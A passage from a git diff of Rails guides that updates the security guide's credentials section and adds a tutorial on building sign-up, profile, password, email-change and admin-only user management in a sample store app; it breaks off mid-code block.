+To edit the credentials file, run `bin/rails credentials:edit`. This command will create the credentials file if it does not exist. Additionally, this command will create `config/master.key` if no master key is defined.
 
-    development:
-      secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
-      some_api_key: SOMEKEY
+Secrets kept in the credentials file are accessible via `Rails.application.credentials`.
+For example, with the following decrypted `config/credentials.yml.enc`:
+
+```yaml
+secret_key_base: 3b7cd72...
+some_api_key: SOMEKEY
+system:
+  access_key_id: 1234AB
+```
 
-`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
-environment.
+`Rails.application.credentials.some_api_key` returns `"SOMEKEY"`. `Rails.application.credentials.system.access_key_id` returns `"1234AB"`.
 
-If you want an exception to be raised when some key is blank, use the bang
+If you want an exception to be raised when some key is blank, you can use the bang
 version:
 
 ```ruby
-Rails.application.secrets.some_api_key! # => raises KeyError: key not found: :some_api_key
+# When some_api_key is blank...
+Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank
 ```
 
+TIP: Learn more about credentials with `bin/rails credentials:help`.
+
+WARNING: Keep your master key safe. Do not commit your master key.
+
+Dependency Management and CVEs
+------------------------------
+
+We don’t bump dependencies just to encourage use of new versions, including for security issues. This is because application owners need to manually update their gems regardless of our efforts. Use `bundle update --conservative gem_name` to safely update vulnerable dependencies.
+
 Additional Resources
 --------------------
 
 The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:
 
-* Subscribe to the Rails security [mailing list](http://groups.google.com/group/rubyonrails-security)
-* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too)
-* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
+* Subscribe to the Rails security [mailing list](https://discuss.rubyonrails.org/c/security-announcements/9).
+* [Mozilla's Web Security Guidelines](https://infosec.mozilla.org/guidelines/web_security.html) - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.
+* A [good set of security resources](https://owasp.org/), notably the [Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html), with for example the [Cross-Site Scripting Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).
diff --git a/guides/source/sign_up_and_settings.md b/guides/source/sign_up_and_settings.md
new file mode 100644
index 0000000000000..3b8764e41aac6
--- /dev/null
+++ b/guides/source/sign_up_and_settings.md
@@ -0,0 +1,2017 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Sign Up and Settings
+====================
+
+This guide covers adding Sign Up and Settings to the store e-commerce
+application in the [Getting Started Guide](getting_started.html). We will use
+the final code from that guide as a starting place.
+
+After reading this guide, you will know how to:
+
+* Add user Sign Up
+* Rate limit controller actions
+* Create a nested layout
+* Separate controllers by role (users and admins)
+* Write tests for users with different roles
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+One of the most common features to add to any application is a sign up process
+for registering new users. The e-commerce application we've built so far only
+has authentication and users must be created in the Rails console or a script.
+
+This feature is required before we can add other features. For example, to let
+users create wishlists, they will need to be able to sign up first before they
+can create a wishlist associated with their account.
+
+Let's get started!
+
+Adding Sign Up
+--------------
+
+We've already used the
+[Rails authentication generator in the Getting Started guide](/getting_started.html#adding-authentication)
+to allow users to login to their accounts. The generator created a `User` model
+with `email_address:string` and `password_digest:string` columns in the
+database. It also added `has_secure_password` to the `User` model which handles
+passwords and confirmations. This takes care of most of what we need to add sign
+up to our application.
+
+### Adding Names To Users
+
+It's also a good idea to collect the user's name at sign up. This allows us to
+personalize their experience and address them directly in the application. Let's
+start by adding `first_name` and `last_name` columns to the database.
+
+In the terminal, create a migration with these columns:
+
+```bash
+$ bin/rails g migration AddNamesToUsers first_name:string last_name:string
+```
+
+Then migrate the database:
+
+```bash
+$ bin/rails db:migrate
+```
+
+Let's also add a method to combine `first_name` and `last_name`, so that we can
+display the user's full name.
+
+Open `app/models/user.rb` and add the following:
+
+```ruby#7-11
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
+
+  normalizes :email_address, with: ->(e) { e.strip.downcase }
+
+  validates :first_name, :last_name, presence: true
+
+  def full_name
+    "#{first_name} #{last_name}"
+  end
+end
+```
+
+TIP: `has_secure_password` only validates the presence of the password. Consider
+adding more validations for password minimum length or complexity to improve
+security.
+
+Next, let's add sign up so we can register new users.
+
+### Sign Up Routes & Controller
+
+Now that our database has all the necessary columns to register new users, the
+next step is to create a route for sign up and its matching controller.
+
+In `config/routes.rb`, let's add a resource for sign up:
+
+```ruby#3
+resource :session
+resources :passwords, param: :token
+resource :sign_up
+```
+
+We're using a singular resource here because we want a singular route for
+`/sign_up`.
+
+This route directs requests to `app/controllers/sign_ups_controller.rb` so let's
+create that controller file now.
+
+```ruby
+class SignUpsController < ApplicationController
+  def show
+    @user = User.new
+  end
+end
+```
+
+We're using the `show` action to create a new `User` instance, which will be
+used to display the sign up form.
+
+Let's create the form next. Create `app/views/sign_ups/show.html.erb` with the
+following code:
+
+```erb
+<h1>Sign Up</h1>
+
+<%= form_with model: @user, url: sign_up_path do |form| %>
+  <% if form.object.errors.any? %>
+    <div>Error: <%= form.object.errors.full_messages.first %></div>
+  <% end %>
+
+  <div>
+    <%= form.label :first_name %>
+    <%= form.text_field :first_name, required: true, autofocus: true, autocomplete: "given-name" %>
+  </div>
+
+  <div>
+    <%= form.label :last_name %>
+    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
+  </div>
+
+  <div>
+    <%= form.label :email_address %>
+    <%= form.email_field :email_address, required: true, autocomplete: "email" %>
+  </div>
+
+  <div>
+    <%= form.label :password %>
+    <%= form.password_field :password, required: true, autocomplete: "new-password" %>
+  </div>
+
+  <div>
+    <%= form.label :password_confirmation %>
+    <%= form.password_field :password_confirmation, required: true, autocomplete: "new-password" %>
+  </div>
+
+  <div>
+    <%= form.submit "Sign up" %>
+  </div>
+<% end %>
+```
+
+This form collects the user's name, email, and password. We're using the
+`autocomplete` attribute to help the browser suggest the values for these fields
+based on the user's saved information.
+
+You'll also notice we set `url: sign_up_path` in the form alongside
+`model: @user`. Without this `url:` argument, `form_with` would see we have a
+`User` and send the form to `/users` by default. Since we want the form to
+submit to `/sign_up`, we set the `url:` to override the default route.
+
+Back in `app/controllers/sign_ups_controller.rb` we can handle the form
+submission by adding the `create` action.
+
+```ruby#6-19
+class SignUpsController < ApplicationController
+  def show
+    @user = User.new
+  end
+
+  def create
+    @user = User.new(sign_up_params)
+    if @user.save
+      start_new_session_for(@user)
+      redirect_to root_path
+    else
+      render :show, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def sign_up_params
+      params.expect(user: [ :first_name, :last_name, :email_address, :password, :password_confirmation ])
+    end
+end
+```
+
+The `create` action assigns parameters and attempts to save the user to the
+database. If successful, it logs the user in and redirects to `root_path`,
+otherwise it re-renders the form with errors.
+
+Visit http://localhost:3000/sign_up to try it out.
+
+### Requiring Unauthenticated Access
+
+Authenticated users can still access `SignUpsController` and create another
+account while they're logged in which is confusing.
+
+Let's fix this by adding a helper to the `Authentication` module in
+`app/controllers/concerns/authentication.rb`.
+
+```ruby#14-17
+module Authentication
+  extend ActiveSupport::Concern
+
+  included do
+    before_action :require_authentication
+    helper_method :authenticated?
+  end
+
+  class_methods do
+    def allow_unauthenticated_access(**options)
+      skip_before_action :require_authentication, **options
+    end
+
+    def unauthenticated_access_only(**options)
+      allow_unauthenticated_access **options
+      before_action -> { redirect_to root_path if authenticated? }, **options
+    end
+
+    # ...
+```
+
+The `unauthenticated_access_only` class method can be used in any controller
+where we want to restrict actions to unauthenticated users only.
+
+We can then use this method at the top of `SignUpsController`.
+
+```ruby#2
+class SignUpsController < ApplicationController
+  unauthenticated_access_only
+
+  # ...
+end
+```
+
+### Rate Limiting Sign Up
+
+Our application will be accessible on the internet so we're bound to have
+malicious bots and users trying to spam our application. We can add rate
+limiting to sign up to slow down anyone submitting too many requests.
+
+Rails makes this easy with the
+[`rate_limit`](https://api.rubyonrails.org/classes/ActionController/RateLimiting/ClassMethods.html)
+method in controllers.
+
+```ruby#3
+class SignUpsController < ApplicationController
+  unauthenticated_access_only
+  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to sign_up_path, alert: "Try again later." }
+
+  # ...
+end
+```
+
+This will block any form submissions that happen more than 10 times within 3
+minutes.
+
+Editing Passwords
+-----------------
+
+Now that users can login, let's create all the usual places that users would
+expect to update their profile, password, email address, and other settings.
+
+### Using Namespaces
+
+The Rails authentication generator already created a controller at
+`app/controllers/passwords_controller.rb` for password resets. This means we
+need to use a different controller for editing passwords of authenticated users.
+
+To prevent conflicts, we can use a feature called **namespaces**. A namespace
+organizes routes, controllers, and views into folders and helps prevent
+conflicts like our two passwords controllers.
+
+We'll create a namespace called "Settings" to separate out the user and store
+settings from the rest of our application.
+
+In `config/routes.rb` we can add the Settings namespace along with a resource
+for editing passwords:
+
+```ruby
+namespace :settings do
+  resource :password, only: [ :show, :update ]
+end
+```
+
+This will generate a route for `/settings/password` for editing the current
+user's password which is separate from the password resets routes at
+`/password`.
+
+### Adding the Namespaced Passwords Controller & View
+
+Namespaces also move controllers into a matching module in Ruby. This controller
+will be in a `settings` folder to match the namespace.
+
+Let's create the folder and controller at
+`app/controllers/settings/passwords_controller.rb` and start with the `show`
+action.
+
+```ruby
+class Settings::PasswordsController < ApplicationController
+  def show
+  end
+end
+```
+
+Views also move to a `settings` folder so let's create the folder and view at
+`app/views/settings/passwords/show.html.erb` for this action.
+
+```erb
+<h1>Password</h1>
+
+<%= form_with model: Current.user, url: settings_password_path do |form| %>
+  <% if form.object.errors.any? %>
+    <div><%= form.object.errors.full_messages.first %></div>
+  <% end %>
+
+  <div>
+    <%= form.label :password_challenge %>
+    <%= form.password_field :password_challenge, required: true, autocomplete: "current-password" %>
+  </div>
+
+  <div>
+    <%= form.label :password %>
+    <%= form.password_field :password, required: true, autocomplete: "new-password" %>
+  </div>
+
+  <div>
+    <%= form.label :password_confirmation %>
+    <%= form.password_field :password_confirmation, required: true, autocomplete: "new-password" %>
+  </div>
+
+  <div>
+    <%= form.submit "Update password" %>
+  </div>
+<% end %>
+```
+
+We've set the `url:` argument to ensure the form submits to our namespaced route
+and is processed by the `Settings::PasswordsController`.
+
+Passing `model: Current.user` also tells `form_with` to submit a `PATCH` request
+to process the form with the `update` action.
+
+TIP: `Current.user` comes from
+[CurrentAttributes](https://api.rubyonrails.org/classes/ActiveSupport/CurrentAttributes.html)
+which is a per-request attribute which resets automatically before and after
+each request. The Rails authentication generator uses this to keep track of the
+logged in User.
+
+### Safely Updating Passwords
+
+Let's add that `update` action to the controller now.
+
+```ruby#5-16
+class Settings::PasswordsController < ApplicationController
+  def show
+  end
+
+  def update
+    if Current.user.update(password_params)
+      redirect_to settings_profile_path, status: :see_other, notice: "Your password has been updated."
+    else
+      render :show, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def password_params
+      params.expect(user: [ :password, :password_confirmation, :password_challenge ]).with_defaults(password_challenge: "")
+    end
+end
+```
+
+For security, we need to ensure that the user is the only one who can update
+their password. The `has_secure_password` method in our `User` model provides
+this attribute. If `password_challenge` is present, it will validate the
+password challenge against the user's current password in the database to
+confirm it matches.
+
+A malicious user could try deleting the `password_challenge` field in the
+browser to bypass this validation. To prevent this and ensure the validation
+always runs, we use `.with_defaults(password_challenge: "")` to set a default
+value even if the `password_challenge` parameter is missing.
+
+You can now visit http://localhost:3000/settings/password to update your
+password.
+
+### Renaming The Password Challenge Attribute
+
+While `password_challenge` is a good name for our code, users are used to seeing
+"Current password" for this form field. We can rename this with locales in Rails
+to change how this attribute is displayed on the frontend.
+
+Add the following to `config/locales/en.yml`:
+
+```yaml#7-10
+en:
+  hello: "Hello world"
+  products:
+    index:
+      title: "Products"
+
+  activerecord:
+    attributes:
+      user:
+        password_challenge: "Current password"
+```
+
+To learn more, check out the
+[I18n Guide](https://guides.rubyonrails.org/i18n.html#translations-for-active-record-models)
+
+Editing User Profiles
+---------------------
+
+Next, let's add a page so users can edit their profile, like updating their
+first and last name.
+
+### Profile Routes & Controller
+
+In `config/routes.rb`, add a profile resource under the settings namespace. We
+can also add a root to the namespace to handle any visits to `/settings` and
+redirect them to profile settings.
+
+```ruby#3,5
+namespace :settings do
+  resource :password, only: [ :show, :update ]
+  resource :profile, only: [ :show, :update ]
+
+  root to: redirect("/settings/profile")
+end
+```
+
+Let's create our controller for editing profiles at
+`app/controllers/settings/profiles_controller.rb`.
+
+```ruby
+class Settings::ProfilesController < ApplicationController
+  def show
+  end
+
+  def update
+    if Current.user.update(profile_params)
+      redirect_to settings_profile_path, status: :see_other, notice: "Your profile was updated successfully."
+    else
+      render :show, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def profile_params
+      params.expect(user: [ :first_name, :last_name ])
+    end
+end
+```
+
+This is very similar to the passwords controller but only allows updating the
+user's profile details like first and last name.
+
+Then create `app/views/settings/profiles/show.html.erb` to show the edit profile
+form.
+
+```erb
+<h1>Profile</h1>
+
+<%= form_with model: Current.user, url: settings_profile_path do |form| %>
+  <% if form.object.errors.any? %>
+    <div>Error: <%= form.object.errors.full_messages.first %></div>
+  <% end %>
+
+  <div>
+    <%= form.label :first_name %>
+    <%= form.text_field :first_name, required: true, autocomplete: "given-name" %>
+  </div>
+
+  <div>
+    <%= form.label :last_name %>
+    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
+  </div>
+
+  <div>
+    <%= form.submit "Update profile" %>
+  </div>
+<% end %>
+```
+
+You can now visit http://localhost:3000/settings/profile to update your name.
+
+### Updating Navigation
+
+Let's update the navigation to include a link to Settings next to the Log out
+button.
+
+Open `app/views/layouts/application.html.erb` and update the navbar.
+
+```erb#13-19
+<!DOCTYPE html>
+<html>
+  <head>
+    <%# ... %>
+  </head>
+
+  <body>
+    <div class="notice"><%= flash[:notice] %></div>
+    <div class="alert"><%= flash[:alert] %></div>
+
+    <nav class="navbar">
+      <%= link_to "Home", root_path %>
+      <% if authenticated? %>
+        <%= link_to "Settings", settings_root_path %>
+        <%= button_to "Log out", session_path, method: :delete %>
+      <% else %>
+        <%= link_to "Sign Up", sign_up_path %>
+        <%= link_to "Login", new_session_path %>
+      <% end %>
+    </nav>
+```
+
+You'll now see a Settings link in the navbar when authenticated.
+
+### Settings Layout
+
+While we're here, let's add a new layout for Settings so we can organize them in
+a sidebar. To do this, we're going to use a
+[Nested Layout](layouts_and_rendering.html#using-nested-layouts).
+
+A nested layout allows you add HTML (like a sidebar) while still rendering the
+application layout. This means we don't have to duplicate our head tags or
+navigation in our Settings layout.
+
+Let's create `app/views/layouts/settings.html.erb` and add the following:
+
+```erb
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Password", settings_password_path %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+In the settings layout, we're providing HTML for the sidebar and telling Rails
+to render the application layout as the parent.
+
+We need to modify the application layout to render the content from the nested
+layout using `yield(:content)`.
+
+```erb#11,23
+<!DOCTYPE html>
+<html>
+  <head>
+    <%# ... %>
+  </head>
+
+  <body>
+    <div class="notice"><%= flash[:notice] %></div>
+    <div class="alert"><%= flash[:alert] %></div>
+
+    <nav class="navbar">
+      <%= link_to "Home", root_path %>
+      <% if authenticated? %>
+        <%= link_to "Settings", settings_root_path %>
+        <%= button_to "Log out", session_path, method: :delete %>
+      <% else %>
+        <%= link_to "Sign Up", sign_up_path %>
+        <%= link_to "Login", new_session_path %>
+      <% end %>
+    </nav>
+
+    <main>
+      <%= content_for?(:content) ? yield(:content) : yield %>
+    </main>
+  </body>
+</html
+```
+
+This allows the application controller to be used normally with `yield` or it
+can be a parent layout if `content_for(:content)` is used in a nested layout.
+
+We now have two separate `<nav>` tags, so we need to update our existing CSS
+selectors to avoid conflicts.
+
+To do this, add the `.navbar` class to these selectors in
+`app/assets/stylesheets/application.css`.
+
+```css#1,11
+nav.navbar {
+  justify-content: flex-end;
+  display: flex;
+  font-size: 0.875em;
+  gap: 0.5rem;
+  max-width: 1024px;
+  margin: 0 auto;
+  padding: 1rem;
+}
+
+nav.navbar a {
+  display: inline-block;
+}
+```
+
+Then add some CSS to display the Settings nav as a sidebar.
+
+```css
+section.settings {
+  display: flex;
+  gap: 1rem;
+}
+
+section.settings nav {
+  width: 200px;
+}
+
+section.settings nav a {
+  display: block;
+}
+```
+
+To use this new layout, we can tell the controller we want to use a specific
+layout. We can add `layout "settings"` to any controller to change the layout
+that is rendered.
+
+Since we will have many controllers that use this layout, we can create a base
+class to define shared configuration and use inheritance to use them.
+
+Add `app/controllers/settings/base_controller.rb` and add the following:
+
+```ruby
+class Settings::BaseController < ApplicationController
+  layout "settings"
+end
+```
+
+Then update `app/controllers/settings/passwords_controller.rb` to inherit from
+this controller.
+
+```ruby
+class Settings::PasswordsController < Settings::BaseController
+```
+
+And update `app/controllers/settings/profiles_controller.rb` to inherit from it
+too.
+
+```ruby
+class Settings::ProfilesController < Settings::BaseController
+```
+
+Deleting Accounts
+-----------------
+
+Next, let's add the ability to delete your account. We'll start by adding
+another namespaced route for account to `config/routes.rb`.
+
+```ruby#4
+namespace :settings do
+  resource :password, only: [ :show, :update ]
+  resource :profile, only: [ :show, :update ]
+  resource :user, only: [ :show, :destroy ]
+
+  root to: redirect("/settings/profile")
+end
+```
+
+To handle these new routes, create
+`app/controllers/settings/users_controller.rb` and add the following:
+
+```ruby
+class Settings::UsersController < Settings::BaseController
+  def show
+  end
+
+  def destroy
+    terminate_session
+    Current.user.destroy
+    redirect_to root_path, notice: "Your account has been deleted."
+  end
+end
+```
+
+The controller for deleting accounts is pretty straightforward. We have a `show`
+action to display the page and a `destroy` action to logout and delete the user.
+It also inherits from `Settings::BaseController` so it will use the settings
+layout like the others.
+
+Now let's add the view at `app/views/settings/users/show.html.erb` with the
+following:
+
+```erb
+<h1>Account</h1>
+
+<%= button_to "Delete my account", settings_user_path, method: :delete, data: { turbo_confirm: "Are you sure? This cannot be undone." } %>
+```
+
+And finally, we'll add a link to Account in the setting layout's sidebar.
+
+```erb#7
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+That's it! You can now delete your account.
+
+Updating Email Addresses
+------------------------
+
+Occasionally, users need to change the email address on their account. To do
+this safely, we need to store the new email address and send an email to confirm
+the change.
+
+### Adding Unconfirmed Email To Users
+
+We'll start by adding a new field to the users table in our database. This will
+store the new email address while we're waiting for confirmation.
+
+```bash
+$ bin/rails g migration AddUnconfirmedEmailToUsers unconfirmed_email:string
+```
+
+Then migrate the database.
+
+```bash
+$ bin/rails db:migrate
+```
+
+
+### Email Routes & Controller
+
+Next we can add an email route under the `:settings` namespace in
+`config/routes.rb`.
+
+```ruby#2
+namespace :settings do
+  resource :email, only: [ :show, :update ]
+  resource :password, only: [ :show, :update ]
+  resource :profile, only: [ :show, :update ]
+  resource :user, only: [ :show, :destroy ]
+
+  root to: redirect("/settings/profile")
+end
+```
+
+Then we'll create `app/controllers/settings/emails_controller.rb` to display
+this.
+
+```ruby
+class Settings::EmailsController < Settings::BaseController
+  def show
+  end
+end
+```
+
+And finally, we'll create our view at `app/views/settings/emails/show.html.erb`:
+
+```erb
+<h1>Change Email</h1>
+
+<%= form_with model: Current.user, url: settings_email_path do |form| %>
+  <% if form.object.errors.any? %>
+    <div>Error: <%= form.object.errors.full_messages.first %></div>
+  <% end %>
+
+  <div>
+    <%= form.label :unconfirmed_email, "New email address" %>
+    <%= form.email_field :unconfirmed_email, required: true %>
+  </div>
+
+  <div>
+    <%= form.label :password_challenge %>
+    <%= form.password_field :password_challenge, required: true, autocomplete: "current-password" %>
+  </div>
+
+  <div>
+    <%= form.submit "Update email address" %>
+  </div>
+<% end %>
+```
+
+To keep things secure, we need to ask for the new email address and validate
+user's current password to ensure only the owner of the account can change the
+email.
+
+In our controller, we will validate the current password and save the new email
+address before sending an email to confirm the new email address.
+
+```ruby#5-17
+class Settings::EmailsController < Settings::BaseController
+  def show
+  end
+
+  def update
+    if Current.user.update(email_params)
+      UserMailer.with(user: Current.user).email_confirmation.deliver_later
+      redirect_to settings_email_path, status: :see_other, notice: "We've sent a verification email to #{Current.user.unconfirmed_email}."
+    else
+      render :show, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def email_params
+      params.expect(user: [ :password_challenge, :unconfirmed_email ]).with_defaults(password_challenge: "")
+    end
+end
+```
+
+This uses the same `with_defaults(password_challenge: "")` as
+`Settings::PasswordsController` to trigger the password challenge validation.
+
+We haven't created the `UserMailer` yet, so let's do that next.
+
+### New Email Confirmation
+
+Let's use the mailer generator to create the `UserMailer` we referenced in
+`Settings::EmailsController`:
+
+```bash
+$ bin/rails generate mailer User email_confirmation
+      create  app/mailers/user_mailer.rb
+      invoke  erb
+      create    app/views/user_mailer
+      create    app/views/user_mailer/email_confirmation.text.erb
+      create    app/views/user_mailer/email_confirmation.html.erb
+      invoke  test_unit
+      create    test/mailers/user_mailer_test.rb
+      create    test/mailers/previews/user_mailer_preview.rb
+```
+
+We'll need to generate a token to include in the email body. Open
+`app/models/user.rb` and add the following:
+
+```ruby#9-15
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
+
+  normalizes :email_address, with: ->(e) { e.strip.downcase }
+
+  validates :first_name, :last_name, presence: true
+
+  generates_token_for :email_confirmation, expires_in: 7.days do
+    unconfirmed_email
+  end
+
+  def confirm_email
+    update(email_address: unconfirmed_email, unconfirmed_email: nil)
+  end
+
+  def full_name
+    "#{first_name} #{last_name}"
+  end
+end
+```
+
+This adds a token generator we can use for email confirmations. The token
+encodes the unconfirmed email, so it becomes invalid if the email changes or the
+token expires.
+
+Let's update `app/mailers/user_mailer.rb` to generate a new token for the email:
+
+```ruby#6-9
+class UserMailer < ApplicationMailer
+  # Subject can be set in your I18n file at config/locales/en.yml
+  # with the following lookup:
+  #
+  #   en.user_mailer.email_confirmation.subject
+  def email_confirmation
+    @token = params[:user].generate_token_for(:email_confirmation)
+    mail to: params[:user].unconfirmed_email
+  end
+end
+```
+
+We'll include the token in the HTML view at
+`app/views/user_mailer/email_confirmation.html.erb`:
+
+```erb
+<h1>Verify your email address</h1>
+
+<p><%= link_to "Confirm your email", email_confirmation_url(token: @token) %></p>
+```
+
+And `app/views/user_mailer/email_confirmation.text.erb`:
+
+```erb
+Confirm your email: <%= email_confirmation_url(token: @token) %>
+```
+
+### Email Confirmation Controller
+
+The confirmation email includes a link to our Rails app to verify the email
+change.
+
+Let's add a route for this to `config/routes.rb`
+
+```ruby
+namespace :email do
+  resources :confirmations, param: :token, only: [ :show ]
+end
+```
+
+When a user clicks a link in their email, it will open a browser and make a GET
+request to the app. This means we only need the `show` action for this
+controller.
+
+Next, add the following to `app/controllers/email/confirmations_controller.rb`
+
+```ruby
+class Email::ConfirmationsController < ApplicationController
+  allow_unauthenticated_access
+
+  def show
+    user = User.find_by_token_for(:email_confirmation, params[:token])
+    if user&.confirm_email
+      flash[:notice] = "Your email has been confirmed."
+    else
+      flash[:alert] = "Invalid token."
+    end
+    redirect_to root_path
+  end
+end
+```
+
+We want to confirm the email address whether the user is authenticated or not,
+so this controller allows unauthenticated access. We use the `find_by_token_for`
+method to validate the token and look up the matching `User` record. If
+successful, we call the `confirm_email` method to update the user's email and
+reset `unconfirmed_email` to `nil`. If the token isn't valid, the `user`
+variable will be `nil`, and we will display an alert message.
+
+Finally, let's add a link to Email in the settings layout sidebar:
+
+```erb#6
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
+      <%= link_to "Profile", settings_profile_path %>
+      <%= link_to "Email", settings_email_path %>
+      <%= link_to "Password", settings_password_path %>
+      <%= link_to "Account", settings_user_path %>
+    </nav>
+
+    <div>
+      <%= yield %>
+    </div>
+  </section>
+<% end %>
+
+<%= render template: "layouts/application" %>
+```
+
+Test out this process by navigating to http://localhost:3000/settings/email and
+updating your email address. Watch the Rails server logs for the email contents
+and open the confirm link in your browser to update the email in the database.
+
+Separating Admins & Users
+-------------------------
+
+Now that anyone can sign up for an account on our store, we need to
+differentiate between regular users and admins.
+
+### Adding An Admin Flag
+
+We'll start by adding a column to the User model.
+
+```bash
+$ bin/rails g migration AddAdminToUsers admin:boolean
+```
+
+Then migrate the database.
+
+```bash
+$ bin/rails db:migrate
+```
+
+A `User` with `admin` set to `true` should be able to add and remove products
+and access other administrative areas of the store.
+
+### Readonly Attributes
+
+We need to be very careful that `admin` is not editable by any malicious users.
+This is easy enough by keeping the `:admin` attribute out of any permitted
+parameters list.
+
+Optionally, we can mark the admin attribute as readonly for added security. This
+will tell Rails to raise an error anytime the admin attribute is changed. It can
+still be set when creating a record, but provides an additional layer of
+security against unauthorized changes. You may want to skip this if you'll be
+changing the admin flag for users often but in our e-commerce store, it's a
+useful safeguard.
+
+We can add `attr_readonly` in our model to protect the attribute from updates.
+
+```ruby#5
+class User < ApplicationRecord
+  has_secure_password
+  has_many :sessions, dependent: :destroy
+
+  attr_readonly :admin
+
+  # ...
+```
+
+When `admin` is read-only, we have to directly update this in the database
+instead of using Active Record.
+
+Rails has a command called `dbconsole` that will open a database console where
+we can directly interact with the database using SQL.
+
+```bash
+$ bin/rails dbconsole
+SQLite version 3.43.2 2023-10-10 13:08:14
+Enter ".help" for usage hints.
+sqlite>
+```
+
+In the SQLite prompt, we can update the admin column for a record using an
+`UPDATE` statement and using `WHERE` to filter to a single user ID.
+
+```sql
+UPDATE users SET admin=true WHERE users.id=1;
+```
+
+To close the SQLite prompt, enter the following command:
+
+```
+.quit
+```
+
+Viewing All Users
+-----------------
+
+As a store admin, we will want to view and manage users for customer support,
+marketing and other use cases.
+
+First, we'll need to add a route for users in a new `store` namespace in
+`config/routes.rb`.
+
+```ruby
+# Admins Only
+namespace :store do
+  resources :users
+end
+```
+
+### Adding Admin Only Access
+
+The controller for users should be accessible to admins only. Before we create
+that controller, let's create an `Authorization` module with a class method to
+restrict access to admins only.
+
+Create `app/controllers/concerns/authorization.rb` with the following code:
+
+```ruby
+module Authorization
+  extend ActiveSupport::Concern
+
+  class_methods do
+    def admin_access_only(**options)
+      before_action -> { redirect_to root_path, alert: "You aren't allowed to do that." unless authenticated? && Current.user.admin? }, **options
+    end
+  end
+end
+```
+
+To use this module in our controllers, include it in
+`app/controllers/application_controller.rb`
+
+```ruby#3
+class ApplicationController < ActionController::Base
+  include Authentication
+  include Authorization
+
+  # ...
+```
+
+The `Authorization` module features can be used in any controller in our app.
+This module provides a home for any additional helpers to manage access for
+admins or other types of roles in the future.
+
+### Users Controller & Views
+
+First, create a base class for the `store` namespace at
+`app/controllers/store/base_controller.rb`.
+
+```ruby
+class Store::BaseController < ApplicationController
+  admin_access_only
+  layout "settings"
+end
+```
+
+This controller will restrict access to admins only using the
+`admin_access_only` method we just created. It will also use the same settings
+layout to display the sidebar.
+
+Next, create `app/controllers/store/users_controller.rb` and add the following:
+
+```ruby
+class Store::UsersController < Store::BaseController
+  before_action :set_user, only: %i[ show edit update destroy ]
+
+  def index
+    @users = User.all
+  end
+
+  def show
+  end
+
+  def edit
+  end
+
+  def update
+    if @user.update(user_params)
+      redirect_to store_user_path(@user), status: :see_other, notice: "User has been updated"
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  def destroy
+  end
+
+  private
+    def set_user
+      @user = User.find(params[:id])
+    end
+
+    def user_params
+      params.expect(user: [ :first_name, :last_name, :email_address ])
+    end
+end
+```
+
+This gives admins the ability to read, update, and destroy users in the
+database.
+
+Next, let's create the index view at `app/views/store/users/index.html.erb`
+
+```erb
+<h1><%= pluralize @users.count, "user" %></h1>
+
+<% @users.each do |user| %>
+  <div>
+    <%= link_to user.full_name, store_user_path(user) %>
+  </div>
+<% end %>
+```
+
+Then, the edit user view at `app/views/store/users/edit.html.erb`:
+
+```erb
+<h1>Edit User</h1>
+<%= render "form", user: @user %>
+```
+
+And the form partial at `app/views/store/users/_form.html.erb`:
+
+```erb
+<%= form_with model: [ :store, user ] do |form| %>
+  <div>
+    <%= form.label :first_name %>
+    <%= form.text_field :first_name, required: true, autofocus: true, autocomplete: "given-name" %>
+  </div>
+
+  <div>
+    <%= form.label :last_name %>
+    <%= form.text_field :last_name, required: true, autocomplete: "family-name" %>
+  </div>
+
+  <div>
+    <%= form.label :email_address %>
+    <%= form.email_field :email_address, required: true, autocomplete: "email" %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
+```
+
+And finally, the user show view at `app/views/store/users/show.html.erb`:
+
+```erb
+<%= link_to "Back to all users", store_users_path %>
+
+<h1><%= @user.full_name %></h1>
+<p><%= @user.email_address %></p>
+
+<div>
+  <%= link_to "Edit user", edit_store_user_path(@user)  %>
+  <%= button_to "Delete user", store_user_path(@user), method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+</div>
+```
+
+### Settings Navigation
+
+Next, we want to add this to the Settings sidebar navigation. Since this should
+be only visible to admins, we need to wrap it in a conditional to ensure the
+current user is an admin.
+
+Add the following to the settings layout in
+`app/views/layouts/settings.html.erb`:
+
+```erb#10-13
+<%= content_for :content do %>
+  <section class="settings">
+    <nav>
+      <h4>Account Settings</h4>
